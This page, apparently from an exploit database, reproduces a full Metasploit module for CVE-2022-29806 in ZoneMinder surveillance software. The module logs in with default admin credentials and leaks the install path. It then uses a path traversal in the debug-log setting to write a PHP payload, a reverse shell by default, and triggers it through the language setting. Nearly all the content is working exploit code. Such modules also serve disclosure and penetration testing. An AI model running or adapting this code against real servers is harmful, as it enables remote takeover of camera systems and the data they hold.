ZoneMinder Language Settings Remote Code Execution

2022.05.06
Credit: krastanoel
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ZoneMinder Language Settings Remote Code Execution', 'Description' => %q{ This module exploits arbitrary file write in debug log file option chained with a path traversal in language settings that leads to a remote code execution in ZoneMinder surveillance software versions before 1.36.13 and before 1.37.11 }, 'License' => MSF_LICENSE, 'Author' => [ 'krastanoel' ], # Discovery and exploit 'References' => [ [ 'CVE', '2022-29806' ], [ 'URL', 'https://krastanoel.com/cve/2022-29806'] ], 'Platform' => ['php'], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2022-04-27', 'DefaultTarget' => 0, 'DefaultOptions' => { 'Payload' => 'php/reverse_perl', 'Encoder' => 'php/base64' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']), OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']), OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/']) ]) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET' ) return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 if res.body =~ /ZoneMinder/ csrf_magic = get_csrf_magic(res) res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/ return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>} res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true ) else return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') end res.body.match(/v(1.\d+.\d+)/) version = Regexp.last_match(1) unless version return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version') end version = Rex::Version.new(version) return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10') Exploit::CheckCode::Safe("Version Detected: #{version}") rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown('Could not connect to the web service') end def exploit unless datastore['AutoCheck'] cookie_jar.clear res = authenticate fail_with(Failure::NoAccess, 'Authentication failed') if res&.body =~ %r{<title>ZM - Login</title>} end vprint_status('Leak installation directory path') random_path = rand_text_alphanumeric(6..15) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => random_path } ) fail_with(Failure::UnexpectedReply, 'Failed to leak install path') unless res res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'view' => 'options' } ) csrf_magic = get_csrf_magic(res) current_lang = res&.get_html_document&.at( 'select[@name="newConfig[ZM_LANG_DEFAULT]"] option[@selected="selected"]' )&.text fail_with(Failure::UnexpectedReply, 'Unable to get current language') if res.nil? || current_lang.nil? data = 'view=request&request=log&task=query&limit=10' data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to get valid JSON response') if res.nil? || res&.body.blank? res.body.match(/(\{"result":.*})/) request_log = JSON.parse(Regexp.last_match(1)).with_indifferent_access if request_log.key?(:rows) # Check for latest version key first v1.36.x request_log_key = 'rows' elsif request_log.key?(:logs) request_log_key = 'logs' else fail_with(Failure::UnexpectedReply, 'Service found, but unable to find request log key') end request_log = request_log[request_log_key].select { |e| e['Message'] =~ /'#{random_path}'/ }.first if request_log path = request_log['File'].split('/')[0..-2].join('/') vprint_good("Path: #{path}") else fail_with(Failure::UnexpectedReply, 'Service found, but unable to leak installation directory path') end fname = "#{rand_text_alphanumeric(6..15)}.php" traverse_path = "#{path}/lang".split('/')[1..].map { '../' }.join shell = "#{traverse_path}tmp/#{fname}" data = "view=options&tab=logging&action=options&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_FILE]=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to set LOG_DEBUG_FILE option') if res.nil? || res&.code != 302 vprint_good("Shell: #{shell}") p = %(<?php #{payload.encoded} ?>) data = "view=request&request=log&task=create&level=ERR&message=#{p}&file=#{shell}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to receive a response') unless res result = JSON.parse(res.body)['result'] fail_with(Failure::UnexpectedReply, 'Failed to write payload') unless result fail_with(Failure::UnexpectedReply, 'Unable to write payload to LOG_DEBUG_FILE') if result != 'Ok' # trigger the shell lang = shell.gsub(/\.php/, '') data = "view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=#{lang}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to trigger the payload') if res.nil? || res&.code != 302 # cleanup data = Rack::Utils.parse_nested_query(data) data['newConfig']['ZM_LANG_DEFAULT'] = current_lang res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset language to default') if res.nil? || res&.code != 200 data['tab'] = 'logging' data['newConfig']['ZM_LOG_DEBUG'] = 0 data['newConfig']['ZM_LOG_DEBUG_FILE'] = '' res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_query, 'keep_cookies' => true ) vprint_warning('Unable to reset debug option') if res.nil? || res&.code != 302 rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end private def get_csrf_magic(res) return if res.nil? res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text end def authenticate(csrf_magic = nil) username = datastore['USERNAME'] password = datastore['PASSWORD'] data = "action=login&view=login&username=#{username}&password=#{password}" data += "&__csrf_magic=#{csrf_magic}" if csrf_magic send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'data' => data.to_s, 'keep_cookies' => true }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top